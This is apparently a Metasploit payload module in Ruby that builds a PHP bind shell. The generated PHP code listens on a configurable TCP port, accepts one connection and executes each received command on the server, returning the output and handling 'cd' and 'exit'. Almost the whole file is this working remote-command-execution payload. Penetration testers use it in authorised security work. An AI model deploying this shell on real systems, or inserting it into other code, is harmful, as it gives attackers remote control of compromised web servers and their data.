PHP Command Shell, Bind TCP (via PHP)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = :dynamic

  include Msf::Payload::Single
  include Msf::Payload::Php
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'PHP Command Shell, Bind TCP (via PHP)',
      'Description'   => 'Listen for a connection and spawn a command shell via php',
      'Author'        => ['egypt', 'diaul <diaul[at]devilopers.org>',],
      'License'       => BSD_LICENSE,
      'Platform'      => 'php',
      'Arch'          => ARCH_PHP,
      'Handler'       => Msf::Handler::BindTcp,
      'Session'       => Msf::Sessions::CommandShell,
      'PayloadType'   => 'cmd',
      'Payload'       =>
        {
          'Offsets' => { },
          'Payload' => ''
        }
      ))
  end

  #
  # PHP Bind Shell
  #
  def php_bind_shell

    dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4);
    shell = <<-END_OF_PHP_CODE
    #{php_preamble(disabled_varname: dis)}
    $port=#{datastore['LPORT']};

    $scl='socket_create_listen';
    if(is_callable($scl)&&!in_array($scl,#{dis})){
      $sock=@$scl($port);
    }else{
      $sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
      $ret=@socket_bind($sock,0,$port);
      $ret=@socket_listen($sock,5);
    }
    $msgsock=@socket_accept($sock);
    @socket_close($sock);

    while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))
    {
      $o = '';
      $c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
      if(FALSE===$c){break;}
      if(substr($c,0,3) == 'cd '){
        chdir(substr($c,3,-1));
      } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
        break;
      }else{
        #{php_system_block({:cmd_varname=>"$c", :output_varname=>"$o", :disabled_varname => dis})}
      }
      @socket_write($msgsock,$o,strlen($o));
    }
    @socket_close($msgsock);
    END_OF_PHP_CODE

    return shell
  end

  #
  # Constructs the payload
  #
  def generate(_opts = {})
    return super + php_bind_shell
  end
end